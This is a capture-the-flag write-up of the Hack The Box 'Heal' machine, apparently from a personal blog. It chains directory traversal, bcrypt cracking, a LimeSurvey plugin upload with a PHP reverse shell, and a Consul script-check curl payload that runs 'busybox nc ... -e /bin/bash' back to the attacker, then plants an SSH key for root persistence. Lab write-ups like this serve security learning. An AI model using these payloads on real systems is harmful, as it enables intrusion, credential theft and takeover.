![[Hack The Box/Heal/IntroImage.png]]
## Summary of Exploitation
Hey all, today I pwned Heal by hack the box. Heal was a medium box that starts off with a webserver that contains a custom resume builder written in react that is vulnerable to directory traversal. The directory traversal vuln allowed me to capture credentials and authenticate to the Lime Survey interface. It was there I exploited an RCE vulnerability to gain a shell as www-data. www-data allowed me to read the config files that contained an ssh password for the user account. The path to root involved exploiting a misconfigured Hashicorp Consul application that was running as root that allowed Remote Code Execution.
## Recon Phase
I start, as always, with my tried and true nmap scan.
`sudo nmap -sC -sV -p- --min-rate 10000 10.129.242.228 -oA nmap.out`
![[Hack The Box/Heal/nmap1.png]]
I see the redirect to http://heal.htb and add it to my `/etc/hosts` file.
`sudo vi /etc/hosts`
![[Hack The Box/Heal/etchosts1.png]]
And Ill rerun the scan
![[Hack The Box/Heal/nmap2.png]]
I have 2 open ports that are pretty standard with Linux.
| Port | Protocol | Service Details |
| ---- | -------- | --------------- |
| 22 | ssh | OpenSSH 8.9p1 |
| 80 | http | nginx 1.18.0 |
I'm going to navigate to the webserver `http://heal.htb` and see what we got.
![[resumebuilder.png]]
We have a Fast Resume Builder and a login. We also have the ability to sign up. I'm going to do just that.
![[signUp.png]]
After clicking "Sign up" I get an error
![[error.png]]
I'm going to open up Burp Suite and maybe get an idea as to why its failing.
![[apiHealfix.png]]
Ahh, Its trying to send the request to another subdomain `api.heal.htb`. It looks like there is API backend that is handling the requests. Ill go ahead and add this to my `/etc/hosts` file.
![[Hack The Box/Heal/etchosts2.png]]
Now Ill try to create my account again by clicking "Sign Up".
![[resumeBuilderloggedin.png]]
Once logged in, I'm presented with a resume builder application and some options.
At the bottom of the page I have an option to export as PDF. If I fill out some information and click the button, It does exactly that.
![[resumeExport.png]]
Going back, I also have the option for "profile", It just show me the profile. I'm not an administrator. But I am the second user.
![[profile.png]]
The last option, "Survey" is more interesting.
![[survey.png]]
Clicking on "Take the Survey" takes us to yet another subdomain. `take-survey.heal.htb`. So Ill once again add it to my `/etc/hosts` file. and navigate to the new subdomain.
![[takesurvey.png]]
I clicked next and it simply took me through the one question survey and after clicking submit, I'm presented with a thank you and nothing more.
![[thankyou.png]]
What does interest me is the url. After clicking "Take the Survey" I was navigated to `http://take-survey.heal.htb/index.php/552933?lang=en` , what happens if I visit the root `http://take-survey.heal.htb/`
![[LimeSurvey.png]]
This is more interesting, not only did I learn that is powered by LimeSurvey, I also learned of a user "
[email protected]"
I don't have the version number, but I did a quick google and this exploit from exploit-db was the top result.
![[exploitLime.png]]
Unfortunately, It is an authenticated exploit. I'm going to start a feroxbuster to look for an admin login.
![[503Spill.png]]
Sadly, There is clearly some spider protection on this webserver, so I get blasted with 503 errors. This will make the enumeration alittle more difficult. I still want to find the admin login, So Ill just try `http://take-survey.heal.htb/admin`.
![[adminLoginLime.png]]
Nice, It redirected me to `http://take-survey.heal.htb/index.php/admin/authentication/sa/login` I still don't have any credentials and I don't want to risk a lockout. So I'm going to take a look back at the resume builder. It feels like a custom application and maybe I can find an error with how the application creates the resume.
I'm first going to check for Server Side Template Injection by passing some Jinja template to the resume `{{5*5}}`
![[noSSTI.png]]
I tried some more in other fields and got nothing back. I'm interested in how the application passes the file to me, So I'm going to check the requests using burp after I click "Export As PDF".
The first request is the POST request of the data to `http://api.heal.htb/exports`
![[requestData.png]]
The second request, however, is a bit more interesting...
![[badReqeust.png]]
It's using the OPTIONS method to request to use the GET method I'm going to forward this request.
![[badGet.png]]
And yes, It's using the get method. I'm going to send this request to the repeater.
![[sendtoreapeater.gif]]
Clicking Send grabs the file. But can I grab something else? Saaaaay `/etc/passwd`.
![[LFIrequest.png]]
![[LFIPwn.png]]
OOF, it appears the resume builder is vulnerable to directory traversal. I can take a look at the users on the machines, I see Ralph there, but I also see a new user Ron.
I think this is the path forward and I can proceed to exploitation.
## Exploitation Phase
So I have directory traversal, but what in the world can I do with it. I checked for ssh keys and found none.
![[noid_rsa.png]]
After searching around, I realized that this is running on the `api.heal.htb` subdomain. I'm going to curl this endpoint to see what comes back.
```
┌──(kali㉿kali)-[~/…/htb/writeups/heal/enu]
└─$ curl http://api.heal.htb
<!DOCTYPE html>
<html>
<head>
<title>Ruby on Rails 7.1.4</title>
<meta charset="utf-8">
<meta name="viewport" content=............
```
Ahh, ok This is Ruby on Rails 7.1.4. I can use google to understand the directory structure of this. I ended up finding [this](https://guides.rubyonrails.org/configuring.html#configuring-a-database).
![[database_yml.png]]
lets see if I can read that file. Ill just need to back tick a couple directories.
![[getdbyml.png]]
![[responsedbyaml.png]]
Nice, there aren't any creds here. but there is a line explaining that the production network is using the same database as the development network `storage/development.sqlite3`.
lets see if I can read that file.
![[getCredsRequest.png]]
![[gotHash.png]]
Nice! that looks like a bcrypt hash for me and the user ralph. I'm going to copy that hash and crack it on my local machine using hashcat.
`echo '$2a$12$dUZ/O7KJT3.********************************' > ralph.hash`
```
┌──(kali㉿kali)-[~/…/htb/writeups/heal/loot]
└─$ hashcat -m 3200 ralph.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i7-13700K, 2917/5899 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:*********
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$dUZ/O7KJT3.************************...GCSZnG
Time.Started.....: Tue Dec 24 13:40:20 2024 (19 secs)
Time.Estimated...: Tue Dec 24 13:40:39 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 25 H/s (4.63ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 496/14344385 (0.00%)
Rejected.........: 0/496 (0.00%)
Restore.Point....: 480/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4064-4096
Candidate.Engine.: Device Generator
Candidates.#1....: teiubesc -> kelsey
Hardware.Mon.#1..: Util: 89%
Started: Tue Dec 24 13:40:00 2024
Stopped: Tue Dec 24 13:40:41 2024
```
We got it! Unfortunately, it does not work for ssh.
```
┌──(kali㉿kali)-[~]
└─$ ssh
[email protected]
The authenticity of host 'heal.htb (10.129.242.228)' can't be established.
ED25519 key fingerprint is SHA256:/VqroO/Kmxq00rboKFY9TylfAkNdJOiWIOBhnIA4VMs.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:7: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'heal.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
```
But it does work for the LimeSurvey admin portal.
![[limAdminPortal.png]]
We can check the version at the bottom
![[limeVersion.png]]
I remembered the exploit I found before, but it was written for version 5.2.4. However, I think it will work here because of the POC from the [github](https://github.com/Y1LD1R1M-1337/Limesurvey-RCE). Much like WordPress, an admin user can upload plugins. According to the POC, I just need to create a config.xml file that explains my plugin, and have a php rev shell file that will be planted in a location I can access.
Ill start with the config.xml. Here is the one that is provided on Github.
```
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>Y1LD1R1M</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
```
Notice at the bottom tag `<compatibility>`. I can add my version, version 6.0, Ill add version 7.0 as well just to be sure.
```
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
<version>7.0</version>
</compatibility>
```
Now I just need a php rev shell. Ill also use the one provided. Changing the IP and port of course.
```
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.18'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```
Next I need to create a zip archive of these files.
```
┌──(kali㉿kali)-[~/…/htb/writeups/heal/exploits]
└─$ zip plugin.zip config.xml php-rev.php
adding: config.xml (deflated 57%)
adding: php-rev.php (deflated 61%)
┌──(kali㉿kali)-[~/…/htb/writeups/heal/exploits]
└─$ ll
total 12
-rw-rw-r-- 1 kali kali 797 Dec 24 13:58 config.xml
-rw-rw-r-- 1 kali kali 2427 Dec 24 13:59 php-rev.php
-rw-rw-r-- 1 kali kali 1618 Dec 24 13:59 plugin.zip
```
Now to upload my zip file in the admin console. `Configuration => Plugins => Upload & install`.
![[installplugin.png]]
Install again.
![[installPLuginAgain.png]]
Once back at the Plugins list, youll see the plugin at the bottom of the list on page 2.
![[pluginsList.png]]
Now we just need to start a listener using netcat
```
┌──(kali㉿kali)-[~/…/htb/writeups/sightless/loot]
└─$ sudo nc -lvnp 443
[sudo] password for kali:
listening on [any] 443 ...
```
And navigate to the revshell location. `http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php`
![[Hack The Box/Heal/gotShell.gif]]
![[satisfaction.png]]
Be quick, because the plugin will be deleted in a minute.
Now I'm going to upgrade my shell with the best [[Chemistry HackTheBox Write-up#^775356|tty trick]]
Now I have a fully functional shell as `www-data`
```
www-data@heal:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## Priv-Esc to Ron
Usually when I get a shell as `www-data` I'm most interested in config files and searching for creds. Back when I was researching LimeSurvey I read that the config.php file in located in `limesurvey/application/config/`
`www-data@heal:~/limesurvey/application/config$ cat config.php`
![[dbCreds.png]]
This password is unique and since ralph is the administrator, I wonder if he is reusing passwords. Ill check for ssh.
Sadly, It doesn't work for ralph.
```
┌──(kali㉿kali)-[~]
└─$ ssh
[email protected]
[email protected]'s password:
Permission denied, please try again.
```
Does it work for Ron Maybe?
```
┌──(kali㉿kali)-[~]
└─$ ssh
[email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Dec 24 07:32:48 PM UTC 2024
System load: 0.0
Usage of /: 67.8% of 7.71GB
Memory usage: 22%
Swap usage: 0%
Processes: 251
Users logged in: 0
IPv4 address for eth0: 10.129.242.228
IPv6 address for eth0: dead:beef::250:56ff:feb0:c0ff
Expanded Security Maintenance for Applications is not enabled.
29 updates can be applied immediately.
18 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
ron@heal:~$
```
Fantastic! we got user access!
I can grab the user.txt
```
ron@heal:~$ cat user.txt
5565**********************
```
## Priv-Esc to root
I took a small look around and found something interesting in the running processes.
`root 1927 0.9 2.5 1357476 102036 ? Ssl 16:41 1:35 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d`
> [!From the Website]
> HashiCorp Consul is a service networking solution that enables teams to manage secure network connectivity between services and across on-prem and multi-cloud environments and runtimes. Consul offers service discovery, service mesh, traffic management, and automated updates to network infrastructure devices. You can use these features individually or together in a single Consul deployment.
I need to learn more about this service. Let me see if I can view the config directory.
```
ron@heal:/etc/consul.d$ cat config.json
{
"bootstrap":true,
"server": true,
"log_level": "DEBUG",
"enable_syslog": true,
"enable_script_checks": true,
"datacenter":"server1",
"addresses": {
"http":"127.0.0.1"
},
"bind_addr": "127.0.0.1",
"node_name":"heal-internal",
"data_dir":"/var/lib/consul",
"acl_datacenter":"heal-server",
"acl_default_policy":"allow",
"encrypt":"l5/ztsxHF+OWZmTkjlLo92IrBBCRTTNDpdUpg2mJnmQ="
}
```
I needed to know more about this config file so I referenced the consul documentation [here](https://developer.hashicorp.com/consul/docs/agent/config/config-files).
Conveniently, one parameter shouts "exploit me" in the parameter `enable_script_checks`
![[exploitme.png]]
I found an old [gitlab post](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/8171?cve=title) from about a year ago describing this exploit. Essentially, we can pass an api call to `http://127.0.0.1:8500/v1/agent/check/register` that creates a new check on the local agent. comparing the exploit vs the [api documentation](https://developer.hashicorp.com/consul/api-docs/agent/check), we can create a payload that can run root commands blind.
![[samplePayload.png]]
```
"Name" : "deadly_check",
"Args" : ["/bin/bash", "-c", "ping -c 5 10.10.14.18"],
"Interval": "10s"}'
```
Put it all together.
```
curl -X PUT http://127.0.0.1:8500/v1/agent/check/register -d '{"Name": "deadly_check", "Args": ["/bin/bash", "-c", "ping -c 5 10.10.14.18"], "Interval": "10s"}'
```
Before I test this, I need to start a tcpdump session on my attacker.
`sudo tcpdump -i tun0 icmp`
And Ill give the request a run on the victim machine.
![[proofOfRCE.png]]
Awesome! now Ill start my listener
`sudo nc -lvnp 443`
And update my payload.
```
curl -X PUT http://127.0.0.1:8500/v1/agent/check/register -d '{"Name": "deadly_check", "Args": ["/bin/bash", "-c", "busybox nc 10.10.14.18 443 -e /bin/bash"], "Interval": "10s"}'
```
And give it a run, then check my listener.
```
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.242.228] 52382
id
uid=0(root) gid=0(root) groups=0(root)
```
Good news! I have a root shell, bad news, it ends every 10 seconds.
For persistence, I add my own public key.
```
┌──(kali㉿kali)-[~/Documents/htb/heal/loot]
└─$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): persist
Enter passphrase for "persist" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in persist
Your public key has been saved in persist.pub
The key fingerprint is:
SHA256:hE/goOuBKTn1RjaiDgB6dBrArTLo9FNzYMWWIKiUaVI kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|+oE.o.=.. |
|+O *.= * |
|O B = = o |
|*X * + = |
|%.+ + o S |
|++ = |
| .. . |
| |
| |
+----[SHA256]-----+
```
Then connect my root shell and copy my public key into the root authorized keys folder.
```
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.242.228] 41082
echo "ssh-rsa AAAAB3NzaC1yc2EAAAAD........" >> /root/.ssh/authorized_keys
```
Then ssh as root!
```
┌──(kali㉿kali)-[~/Documents/htb/heal/loot]
└─$ ssh -i persist
[email protected]
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Dec 24 09:25:29 PM UTC 2024
System load: 0.0
Usage of /: 68.9% of 7.71GB
Memory usage: 24%
Swap usage: 0%
Processes: 256
Users logged in: 1
IPv4 address for eth0: 10.129.242.228
IPv6 address for eth0: dead:beef::250:56ff:feb0:c0ff
Expanded Security Maintenance for Applications is not enabled.
29 updates can be applied immediately.
18 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Dec 16 15:20:20 2024
root@heal:~#
```
And grab the root flag!
```
root@heal:~# cat root.txt
628e7**************************
```
All in all, this was a good machine, not too hard, but had some new technology that proved challenging to break. Thank you so much for reading. Happy Hacking!